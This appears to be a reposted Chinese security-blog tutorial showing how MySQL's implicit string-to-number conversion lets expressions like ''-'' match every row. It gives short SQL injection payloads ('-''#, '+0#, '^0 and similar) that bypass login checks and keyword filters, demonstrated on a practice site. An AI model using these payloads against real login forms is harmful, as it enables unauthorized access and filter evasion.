首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
使用MySQL字符串运算实施精巧化SQL注入攻击
来源:ttp://pnigos.com 作者:pnig0s 发布时间:2013-01-18  

原文:http://pnigos.com/archives/104 ,欢迎各位牛践踏。

Ref:[Abusing MySQL string arithmetic for tiny SQL Injections]

我们先来看这样一个场景。
有以下表结构:

mysql> desc admin;
+----------+--------------+------+-----+---------+----------------+
| Field    | Type         | Null | Key | Default | Extra          |
+----------+--------------+------+-----+---------+----------------+
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
| name     | char(32)     | NO   | UNI | NULL    |                |
| password | char(32)     | NO   | UNI | NULL    |                |
+----------+--------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

执行select * from admin;,成功返回所有记录内容。

+----+--------+----------------------------------+
| id | name   | password                         |
+----+--------+----------------------------------+
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set (0.00 sec)

执行select * from admin where name=”;,没有匹配到任何记录。

mysql> select * from admin where name = '';
Empty set (0.00 sec)

那么我们来执行select * from admin where name = ”-”;

+----+--------+----------------------------------+
| id | name   | password                         |
+----+--------+----------------------------------+
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set, 3 warnings (0.00 sec)

可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:

mysql> show warnings;
+---------+------+------------------------------------------
| Level   | Code | Message
+---------+------+------------------------------------------
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
+---------+------+------------------------------------------
3 rows in set (0.00 sec)

提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。

mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)

返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:

mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+-----------------------------------------------------+
| CAST((select name from admin limit 1,1) as DECIMAL) |
+-----------------------------------------------------+
|                                                   0 |
+-----------------------------------------------------+
1 row in set, 1 warning (0.00 sec)

因此where语句构成了相等的条件,where 0=”=”,记录被返回。

SQL注入场景: http://www.sqlzoo.net/hack/

 

如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。

那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。

 

仅仅在name子段输入’-”#,password留空,即可绕过登录验证。

  

除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可

mysql> select ''/1;
+------+
| ''/1 |
+------+
|    0 |
+------+
1 row in set (0.00 sec)

类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 

利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。


 
[推荐] [评论(2条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·Metasploit之使用socket通信的we
·ashx绕过防火墙
·网页游戏攻与防
·Novell ConsoleOne Hack Evoluti
·记一次对Discuz官方论坛的渗透检
·调戏突破SecureRDP对远程桌面连
·Linux 共享库注入后门
·利用sslstrip和ettercap突破ssl
·PHP一句话Webshell变形总结
·无线Hacking之D.O.S与AP欺骗
·记一次不同寻常的网站渗透测试过
·中间人攻击-DNS欺骗
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved